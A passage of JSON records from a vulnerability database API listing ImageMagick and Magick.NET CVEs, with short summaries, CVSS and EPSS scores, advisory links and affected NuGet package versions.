{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xxw5-m53x-j38c","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T16:02:13Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xxw5-m53x-j38c"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28688","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28688"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445877","reference_id":"2445877","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445877"},{"reference_url":"https://github.com/advisories/GHSA-xxw5-m53x-j38c","reference_id":"GHSA-xxw5-m53x-j38c","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-xxw5-m53x-j38c"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28688","GHSA-xxw5-m53x-j38c"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-rbdg-vz8x-ykah"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/23631?format=json","vulnerability_id":"VCID-rj9n-ra1t-77dy","summary":"ImageMagick has stack buffer overflow in MagnifyImage\nMagnifyImage uses a fixed-size stack buffer. When using a specific image it is possible to overflow this buffer and corrupt the stack.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30929.json","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30929.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30929","reference_id":"","reference_type":"","scores":[{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02791","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02787","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02779","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02811","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02764","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03928","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04071","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04026","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04019","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04009","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03889","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03878","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03945","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03899","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30929"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"7.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rqq8-jh93-f4vg","reference_id":"","reference_type":"","scores":[{"value":"7.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T14:52:35Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rqq8-jh93-f4vg"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30929","reference_id":"","reference_type":"","scores":[{"value":"7.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30929"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445896","reference_id":"2445896","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445896"},{"reference_url":"https://github.com/advisories/GHSA-rqq8-jh93-f4vg","reference_id":"GHSA-rqq8-jh93-f4vg","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-rqq8-jh93-f4vg"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-30929","GHSA-rqq8-jh93-f4vg"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-rj9n-ra1t-77dy"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24389?format=json","vulnerability_id":"VCID-rjkf-pdny-2fhn","summary":"ImageMagick vulnerable to stack corruption through long morphology kernel names or arrays\nA stack buffer overflow exists in ImageMagick's morphology kernel parsing functions. User-controlled kernel strings exceeding a buffer are copied into fixed-size stack buffers via memcpy without bounds checking, resulting in stack corruption.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28494.json","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28494.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28494","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02629","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02625","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02649","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02621","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02606","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03279","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03371","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03326","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03335","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03215","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03205","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.0323","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03252","published_at":"2026-04-12T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28494"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28494","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28494"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-932h-jw47-73jm","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T14:40:59Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-932h-jw47-73jm"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28494","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28494"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445901","reference_id":"2445901","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445901"},{"reference_url":"https://github.com/advisories/GHSA-932h-jw47-73jm","reference_id":"GHSA-932h-jw47-73jm","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-932h-jw47-73jm"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28494","GHSA-932h-jw47-73jm"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-rjkf-pdny-2fhn"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21733?format=json","vulnerability_id":"VCID-sd54-b8z1-2fg7","summary":"ImageMagick: Integer overflow or wraparound and incorrect conversion between numeric types in the internal SVG decoder\nA crafted SVG file can cause a denial of service. An off-by-one boundary check (`>` instead of `>=`) that allows bypass the guard and reach an undefined `(size_t)` cast.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25989.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25989.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25989","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.0531","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05082","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05112","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05133","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05167","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05183","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05154","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05137","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05124","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05071","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05076","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05228","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05261","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05305","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25989"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25989","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25989"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/5a545ab9d6c3d12a6a76cfed32b87df096729d95","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/5a545ab9d6c3d12a6a76cfed32b87df096729d95"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7355-pwx2-pm84","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:08:53Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7355-pwx2-pm84"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25989","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25989"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442136","reference_id":"2442136","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442136"},{"reference_url":"https://github.com/advisories/GHSA-7355-pwx2-pm84","reference_id":"GHSA-7355-pwx2-pm84","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-7355-pwx2-pm84"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25989","GHSA-7355-pwx2-pm84"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-sd54-b8z1-2fg7"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20798?format=json","vulnerability_id":"VCID-sd7w-6qv5-73ge","summary":"ImageMagick: Integer Overflow in PSB (PSD v2) RLE decoding path causes heap Out of Bounds reads for 32-bit builds\nAn integer overflow in the PSB (PSD v2) RLE decoding path causes a heap out-of-bounds read on 32-bit builds. This can lead to information disclosure or a crash when processing crafted PSB files.\n\n```\n=================================================================\n==3298==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf512eb00 at pc 0xf76760b5 bp 0xffc1dfb8 sp 0xffc1dfa8\nREAD of size 8 at 0xf512eb00 thread T0\n    #0 0xf76760b4 in ReadPSDChannelRLE coders/psd.c:1141\n```","references":[{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/5b91ab69af614024255fd93dcc9a62b41fbc435c","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/5b91ab69af614024255fd93dcc9a62b41fbc435c"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-273h-m46v-96q4","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-273h-m46v-96q4"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25984","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25984"},{"reference_url":"https://github.com/advisories/GHSA-273h-m46v-96q4","reference_id":"GHSA-273h-m46v-96q4","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-273h-m46v-96q4"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25984","GHSA-273h-m46v-96q4"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-sd7w-6qv5-73ge"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24164?format=json","vulnerability_id":"VCID-sdc2-fcap-abaz","summary":"ImageMagick has Heap Out-of-Bounds Read in DCM Decoder (ReadDCMImage)\nA heap out-of-bounds read vulnerability exists in the `coders/dcm.c` module. When processing DICOM files with a specific configuration, the decoder loop incorrectly reads bytes per iteration. This causes the function to read past the end of the allocated buffer, potentially leading to a Denial of Service (crash) or Information Disclosure (leaking heap memory into the image).","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25982.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25982.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25982","reference_id":"","reference_type":"","scores":[{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04156","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04084","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04116","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.0413","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04162","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04176","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04142","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04278","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04242","published_at":"2026-04-26T